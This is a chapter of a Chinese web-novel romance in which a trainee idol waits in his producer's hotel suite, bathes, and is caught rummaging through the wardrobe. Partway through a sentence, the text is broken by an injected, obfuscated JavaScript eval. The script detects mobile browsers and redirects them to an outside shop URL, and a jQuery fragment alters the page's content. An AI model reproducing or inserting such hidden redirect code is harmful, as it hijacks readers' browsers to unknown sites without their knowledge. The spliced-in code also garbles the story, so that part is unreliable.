22. 第三至六条短信
作品:《被豪夺了,我装的》 之后的两个小时更是过得飞快。
他站在酒店大堂,回过神来时,一连串的事——下一次公演的选歌、节目录制、从节目组开溜(严格来说也不算,本来就是节目开播前最后的自由活动时间)以及戴上以防万一、讨好助理姐姐求来的黑口罩、墨镜与帽子等——都已经完成了。
一方面,他也觉得这没什么好紧张的,傅照青真不至于难为他,恐怕也不会真的和他发生什么。但另一方面……他又觉得,只要他再装装可怜,说不定真能早早完成计划。
饼嘛,哪怕是自己给自己画的,也挺香的。
要不是时间来不及,他就是掘地三尺也要找出点春.药来。夏弦看的小说虽然不多,但春.药在这种狗血文的地位他还是了解的。
——上一次拿醉酒诈傅照青,不就成功了吗?
可惜时间真是不允许。
等到走进酒店大堂,夏弦才突然意识到自己居然忽略了很关键的一步——只有房间号,没有密码,也没有门卡,他要怎么进去。
尤其是,他现在口罩帽子墨镜都戴齐,鬼鬼祟祟得和抢劫犯就差持枪这一点区别了。
所以他多少还是紧张了。站在大堂正中央,进也不是,退也不是。
就这么一会犹豫,已经有侍者注意到了他,朝这边走来。
……夏弦这身打扮的确引人注目。
一见侍者走来,他就能猜到是为了什么。
这高档酒店毕竟临近电视台,时常有明星下榻,星级已经不能完全概括它的安保水平了。更别提现在也确实是一个特殊时期。
夏弦大感窘迫。
果然,一走近,那侍者便道:“先生是在找什么吗?准备入住的话就在前台办理,需要我帮忙吗?”
“不入住,我是和人有约。”夏弦低声解释,顿了顿,见侍者还是不大相信的模样,又把房号报了出来,
“……和1601房的住户有约。”
“哦哦,原来如此……”
夏弦立刻松了口气,主动道:
“对,我要不还是出去等……”
“……夏先生对吧?您跟我来这边吧,我帮您领备用房卡。”
两个人的声音几乎撞上,夏弦愣了两秒钟,把这句话在脑子里过了一遍才反应过来,惊讶地张开嘴。
“傅先生之前已经吩咐过了。”侍者贴心地多解释了一句。
这家酒店根本不是傅家的产业,也不知道傅照青是怎么办到的。难道出了这个节目,离开娱乐圈,傅照青竟然更手眼通天了——就像那天威胁高利贷债主一样——夏弦心里震惊,面上胡乱地点点头,跟在侍者屁股后面,一声不吭地去了前台。
也不需要他说什么。事实上,从解释来意到向前台工作人员领备用卡,再到上楼,甚至电梯按钮,都是这位侍者帮忙按的。
“跟大堂电梯不一样,这个小电梯是我们酒店的专用电梯,一梯一房,到十六层之后就是1601房,您不用担心隐私问题。”侍者在关上电梯门前还告诉他。
夏弦听了这话,没有被宽慰,反而越发有种如临大敌的紧迫感了。
里面的灯得比日光还要明亮,门缓缓关上,他就在这样有些刺眼的封闭空间里,看着显示屏上的数字从1慢慢走到16。
提示音响起,电梯门又缓缓打开。
电梯正对着1601房。
果真是一梯一户,甚至比一些电梯住宅还要方便,脚跨出去便踩在厚实的地毯,其上繁复花纹巧妙地绘出指引一般的图案,向着面前的房门。
夏弦左手拿着刚打出来的门卡,还是热乎的,右手则是手机,也有些烫手。他可以直接进去,提前观察一下情况,也可以给傅照青报备一下,显得自己听话。
两个他都没选。
因为就在电梯门再度关上的时候,他的手机震了震。
傅照青的第二条短信到了。
——“你先在房间里休息一会,肚子饿的话冰箱里有食物,热了再吃。桌上文件不要动。”
……傅照青知道他来了?
也许是酒店已经给傅照青发了消息。
免了斟酌措辞的功夫,夏弦本应该省心才对。但他看着这条消息,心里不知为何轻松不起来。
夏弦很快回神,缓缓呼出一口气,打字回复傅照青的短信——已经两条了,这短信还是该回一下的——只是现在夏弦没了心情去讨好傅照青,只简单地回了两个字。
——“好的”。
短信没法撤回。夏弦手快,一发出去,立刻便开始后悔——他连这两个字都嫌多了,应该只发一个“嗯”的。
几乎是一分钟不到,傅照青的第三条短信又回复了过来。不管傅照青有没有意识到夏弦的小小“发泄”,至少这条短信没有表露出来。
——“大约还有一个半小时,我尽快”。
身为节目的监制,兼任学员导师,傅照青的确有很多事要忙。夏弦组里全员存活,所以他选歌结束后就没事干了,但傅照青还是要和导师一起去送淘汰的学员的。
这夏弦自然知道,他在乎的也不是傅照青回来的早晚。
这回,夏弦没再回复,而是拿起左手的房卡,刷开了房门。
门缓缓打开。
走廊就这么宽,门锁打开的提示音突兀地回荡着,让他生出些许心虚。但很快,这一丁点心虚又被泡泡一样膨胀起来的好奇所覆盖了。
1601是一间套房。宽敞、大方。
温柔雅致的吊灯,明亮干净的落地窗,一眼望过去,甚至能在夕照下分辨出不远处的电视台大楼。但这房间又没有夏弦想象中那么奢华,至少没有传说中“总统套房”那么大而空的占地,相反地,非常“因地制宜”地扩大了小书房和衣帽间的面积,连镜子都铺满了整面墙。
不难想象,这种套房里接待的客人,应当大多数都是艺人。
进房间后,夏弦还真没有听傅照青的话去休息或是填点肚子,而是先巡视了一圈,就像巡视自己的领地(或者是“作案地点”)。
傅照青口中“不能动”的文件,也被他翻了个遍。
当然,夏弦也不是故意作对,或是带着什么明确的目的——这里的文件,一半他看不懂,另一半他不在意。
他就是有点好奇罢了。
顶多发现一页其上布满了傅照青用红笔批注过的、夏弦自己的资料。刚找到的时候夏弦还以为自己发现了什么可趁之机,能一窥傅照青对他的态度,结果,仔细一看,才发现上面密密麻麻记的全是他前两公的失误、进步。
偶有几句评语,也都是夸他是可造之材,积极勤恳。
……他那是为了练习吗?他只是为了凑到傅照青面前刷脸!
转来转去,夏弦最后停在了卫生间门口。
他心底冒出一个主意。
既然距离傅照青回来还有至少半小时,不如做些准备——
——洗澡。
刚才夏弦那一通乱翻,也是吃准了傅照青不会因为这种小事生气,毕竟他只是走走瞧瞧,其他真越界的事,他还是不敢干的。
但洗澡不一样。在一天的表演与工作后,他有相当正当
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643348|188159||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的理由。
……而且,对他的目的总是有助益的。
没吃过“猪肉”,还没见过“猪跑”吗?网文里,洗完澡不发生点什么,简直天理难容。
正好夏弦出来也只套了件外套,里头穿着的还是刚才镜头下穿的服装。好看归好看,穿着可没有那么舒服……而且也不是很好脱。
说做就做,夏弦从从容容游刃有余地找齐了洗浴用品,光着脚踩进浴池。不愧是傅照青住的房间,很快,水漫过锁骨,热气缭绕,泡得人浑身的骨头都发软了。
享受归享受,夏弦还很是“敬业”地把自己从头到脚洗了个干干净净,皮肤那叫一个白里透红,温润软嫩。
一不留神,半小时就这么在浴池里泡过去了。
等夏弦终于从里面出来,外面天都暗了。他可没带换洗衣服,于是又厚着脸皮找了件傅照青的干净浴袍穿。
从小到大,这还是他第一次穿浴袍。他手忙脚乱地穿完了,便探头去看镜子。
傅照青的身高比他高,身材也相对高大。就算穿的时候不觉得,等夏弦站在镜子前一瞧自己,睡袍带子都垂了好长,简直跟小孩偷穿大人衣服一样,隐约透着滑稽。
夏弦看了又看,一点也不满意。
想要的“诱惑”、“露骨”一点没有不说,背后的系带还让他自己打了个死结,这么看,还不如穿自己那演出服呢!他和镜子里的自己互瞪了两秒钟,非常干脆地放弃了原本的方案。
他拖着这件睡袍走出浴室,拿起手机,眼睛也没眨一下,便直接向傅照青求助。
——“傅老师,我下午出了点汗,借您的地方洗个澡,不知道这里有没有方便借我穿一下的衣服,谢谢您。”
这回,傅照青没有很快回复。
刚才还秒回,现在需要他了,回消息就这么慢。
看来还是指望不上旁人,夏弦心一横,把手机一丢,扭头就钻进傅照青那偌大的衣帽间中。
不如,先选定了再问傅照青。
除了开头的那一个月,夏弦这些学员训练了多久,傅照青就在潮城待了多久。所以这里的行装也不只是一件两件。
衣厨一拉开,多得夏弦都有些目不暇接。
夏弦看来看去,有的一看就是高定礼服,他碰一下都小心翼翼的,有的倒是休闲款,就是有些古板,气质像傅照青本人一样无欲无求,一件满意的也没挑到。
就在他不知不觉间,已经把脑袋整个探进衣橱时,一个耳熟的声音,隔着衣帽间层层叠叠的衣服传进他的耳朵。他正专心致志地找衣服呢,过了好几秒才倏地反应过来为什么耳熟——
——是房间门打开的提示音!
借傅照青的衣服穿是一回事,被当场抓包在乱翻他的衣服就是另一回事了。
夏弦也顾不上自己只光.溜溜地穿着这个大一号的浴袍了,急忙直起身,就要从衣帽间里撤出来。
这一急,就出事了。
他毕竟光着脚,就算进来之前特意擦过水,这会一急,脚上一滑,根本站不住,眼看着整个人就要往衣服堆里坐进去!
——他夏弦屁股受点伤那还好说,万一把傅照青这些不知道价值几何的衣服弄坏了,那他顶着的债务可又要再加上一笔。虽说债多了不愁,但也不是这么个不愁法——
千钧一发之际,一只有力的手,隔着衣服,稳稳地揽住他的腰,然后就这么单手把他往上一抬,帮着他站定。
夏弦的心还在大声地跳着。
“……你是打算把自己埋进我的衣橱里吗?”傅照青的声音从头顶传来。

